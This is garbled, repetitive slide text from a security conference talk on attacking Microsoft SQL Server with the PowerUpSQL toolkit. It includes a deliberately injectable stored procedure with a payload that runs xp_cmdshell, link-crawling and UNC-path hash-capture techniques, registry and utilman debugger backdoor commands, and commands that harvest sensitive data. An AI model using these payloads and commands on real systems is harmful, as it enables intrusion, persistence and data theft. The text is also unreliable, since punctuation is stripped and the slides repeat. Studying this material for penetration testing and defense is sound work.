Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
